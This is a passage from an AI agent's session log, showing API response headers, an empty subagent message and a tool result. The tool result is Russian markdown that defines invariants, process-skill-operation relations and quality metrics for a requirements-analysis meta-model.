\\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" 40-practice-and-cases.md | head -30; grep -n \\\"^#\\\" 40-practice-and-cases.md 30-decision-framework.md\",\n[2026-09-29T07:44:53.200Z] [INFO]       \"description\": \"Read invariants and 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\"org_level_disabled\",\n[2026-09-29T07:44:54.347Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:54.351Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:54.356Z] [STDOUT]   \"request-id\": \"req_011CfXMiRhm3ZvQ2g9BVSzGf\",\n[2026-09-29T07:44:54.361Z] [STDOUT]   \"traceresponse\": \"00-eebc2e86cfb1aaeb52445e45a6b916f4-db48026c6e459ed4-01\",\n[2026-09-29T07:44:54.367Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:54.371Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:54.378Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:54.380Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:54.387Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:54.392Z] [STDOUT]   \"cf-ray\": \"a4295d7c383729ad-FRA\",\n[2026-09-29T07:44:54.398Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:54.402Z] [STDOUT] [log_495676] response parsed {\n[2026-09-29T07:44:54.404Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:54.407Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:54.409Z] [STDOUT]   body: X {\n[2026-09-29T07:44:54.413Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:54.416Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:54.421Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:54.423Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:54.429Z] [STDOUT]     },\n[2026-09-29T07:44:54.440Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:54.443Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:54.450Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:54.453Z] [STDOUT]   },\n[2026-09-29T07:44:54.458Z] [STDOUT]   durationMs: 825,\n[2026-09-29T07:44:54.464Z] [STDOUT] }\n[2026-09-29T07:44:54.469Z] [INFO] {\n[2026-09-29T07:44:54.469Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"message\": {\n[2026-09-29T07:44:54.469Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"id\": \"msg_011CfXMiLxWdz4Gz7Ym3GB9d\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:54.469Z] [INFO]     \"content\": [\n[2026-09-29T07:44:54.469Z] [INFO]       {\n[2026-09-29T07:44:54.469Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:54.469Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:54.469Z] [INFO]         \"signature\": \"CAQS1wYKEAgSGAI4AUIIdGhpbmtpbmcSDHKyRPl8fG0CDqTflhoMQYW2EVEYfjTicvc/IjBton7H+ATj+TaQK/aM7u3XHHSFvCiXUkFluPuaG0IF3GgL188LwAK9KmzZnZqcX2gq9AUbnSL56GGwhKmUdkzxEuKUP8k4jt7nI4PmU1TUr+yAK99HooQeR4If8Q3i/Ma8z9G+0iSUglPrWzhDkFi4ls4Jw7olQWcakhHRbn3jQvufbSVxcq8jO+DyOECHq9A83/7XFnO3520NfJM+coMeLFh2VPvVw5UMLeTImmZf4SfJWBqU1Yci2qcllnNG06ycOlS9vB8RaqK7NKCWdZRu9F3/nSWI8l1l2fQshfSbSCgMAmpkHmrX4Wkj1QBE1cAAHqUcvteliKziXp8P/dR5a4AkmDULxppx9dyg4te0SPLCP1fqS5gqJdKV+13OuXbibgenRe4IzTCdBJFLj3PaRL41zViGStLsgChc7r6PqyCYO5iX3SRT7A6g7/R4j0ewpbdUozY7kk9IkVLSxbRp5Z5c7q0DfiuZB+2ZCbE38Nl5Z/L2SVusURAqSgk0Ux2E3JFXE5gydphkcRuVrlKdIRa2xrFuJxqkBwjzKflua5C6aTG+3A/7aVORNg2Es5MTjf8RAwX9Le6FBgpT01ZC3Jb0ve5q/9eJDgzcQW0UKON6Y1rXDhD7zokXE8y4XAiFJMQox49twrL5jnHwv1auELI5WlvSer+urHTf6DSUfdUvV7swIJsKkfOrr/5fTMVl87fm14bIShmK/JXOkR/L2eGhcDSTvmSwWQGC8j93x9sCEqAhG03DXHEZ7zHeifvIwgt6MJw6DV+CHDDE+j/mWpnsTR0U10fGFJ8K4xQAuMz8T9MrX030ACC5VrJ7DcAU8Lbo2Fb78Pc6AInUY0Ugyk+vnN8x6d3ltDSm+bI0HSg28EWq0+WASEWRoP52N8gh2ELEcDay+h1GJZ9LUcSRRVzYJZh9vtspAEhxg0nbAXEN6Xob0N5rr6S78qPUepsY18oGq5VInEDWip1/lDCFGzKhDtIwdvV8dkE/B/1whIoY/cpxC83WJueycwWwTqUcrEpNIjVDrIrwvcwTOX43itab0ZWHKHYEK/CozG/d+la0hCahqJMYAQ==\"\n[2026-09-29T07:44:54.469Z] [INFO]       }\n[2026-09-29T07:44:54.469Z] [INFO]     ],\n[2026-09-29T07:44:54.469Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:54.469Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:54.469Z] [INFO]       \"cache_creation_input_tokens\": 676,\n[2026-09-29T07:44:54.469Z] [INFO]       \"cache_read_input_tokens\": 14008,\n[2026-09-29T07:44:54.469Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:54.469Z] [INFO]         \"ephemeral_5m_input_tokens\": 676,\n[2026-09-29T07:44:54.469Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:54.469Z] [INFO]       },\n[2026-09-29T07:44:54.469Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:54.469Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:54.469Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:54.469Z] [INFO]     },\n[2026-09-29T07:44:54.469Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:54.469Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:54.469Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:54.469Z] [INFO]   },\n[2026-09-29T07:44:54.469Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"uuid\": \"ba8b828d-814b-4d7e-80b8-4b6a44aef819\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:54.079Z\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"request_id\": \"req_011CfXMiLYCWjkBmkyFQZ4VP\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:54.469Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:54.469Z] [INFO] }\n[2026-09-29T07:44:54.483Z] [INFO] {\n[2026-09-29T07:44:54.483Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"message\": {\n[2026-09-29T07:44:54.483Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:54.483Z] [INFO]     \"content\": [\n[2026-09-29T07:44:54.483Z] [INFO]       {\n[2026-09-29T07:44:54.483Z] [INFO]         \"tool_use_id\": \"toolu_01VSQL7sC7yEissLiRApEL6x\",\n[2026-09-29T07:44:54.483Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:54.483Z] [INFO]         \"content\": \"| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n\\n`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n\u043f\u0430\u0440\u0430 \u00ab\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435/\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435\u00bb \u0434\u0435\u043b\u0430\u0435\u0442 \u0448\u0430\u0433 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c, \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014\\n\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u043c.\\n\\n**\u0427\u0442\u043e \u0437\u0430\u043a\u043e\u043d \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442.** \u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 **\u0444\u043e\u0440\u043c\u0443**:\\n\u0438\u0437 \u043a\u0430\u043a\u0438\u0445 \u0447\u0430\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u043d\u0438 \u0438\u0434\u0443\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0434\u043e\\n\u043d\u0430\u0447\u0430\u043b\u0430 \u0438 \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435. \u0421\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432, \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u2014 \u0444\u043e\u0440\u043c\u043e\u0439 \u043d\u0435\\n\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f: \u043e\u043d\u043e \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438\\n\u043c\u0438\u043a\u0440\u043e-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 `check`. \u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\\n\u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u0444\u043e\u0440\u043c\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u043e\u0436\u043d\u044b\u043c, \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\\n\\n## 4. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043d\u0430\u0432\u044b\u043a, \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\\n\\n\u0427\u0435\u0442\u044b\u0440\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u044f, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 (\u043f\u0440\u043e\u043c\u043f\u0442), \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c\u044e. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u043c\u0435\u043d\u044f\u0435\u0442 \u0435\u0451: \u043c\u0435\u0436\u0434\u0443\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a.\\n\\n```text\\nProcess \u2500\u25001:N\u2500\u2500\u25b6 Skill \u2500\u25001:N\u2500\u2500\u25b6 Operation\\n   \u25b2                                  \\n   \u2514\u2500\u2500 Route: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0433\u0440\u0430\u0444\u0443\\n```\\n\\n| \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 | \u041a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c | \u041f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| `Process` \u2192 `Skill` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e \u043f\u043e \u0433\u0440\u0430\u0444\u0443 | `OPS-1`: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443; \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434, \u0441\u043e\u0441\u0442\u0430\u0432 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u0439\u0442\u043e\u0432. |\\n| `Skill` \u2192 `Operation` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e | `OPS-2`: \u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441: \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\\n| `Skill` \u2192 `Artifact` | 1 : 1..N | `OPS-3`: \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f. |\\n| `Operation` \u2192 `Artifact` | 1 : 1 | `OPS-4`: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 (`OA-1`). \u0414\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u2014 \u0434\u0432\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. |\\n| `Route` \u2192 `Process` | N : 1 | `OPS-5`: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u0433\u0440\u0430\u0444 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430. |\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` 